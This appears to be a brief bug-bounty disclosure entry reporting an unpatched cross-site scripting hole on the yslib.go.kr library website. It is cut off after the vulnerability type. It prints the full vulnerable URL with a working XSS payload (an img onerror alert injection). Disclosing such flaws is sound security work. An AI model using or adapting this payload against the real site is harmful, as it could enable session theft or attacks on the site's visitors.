yslib.go.kr XSS vulnerability

Vulnerable URL: http://www.yslib.go.kr/cal/action.php/'%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E?id=kkk=login=write&year2;=2014&month2;=11&day2;=6 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.11.2017 Vulnerability type:| XSS Vulnerability...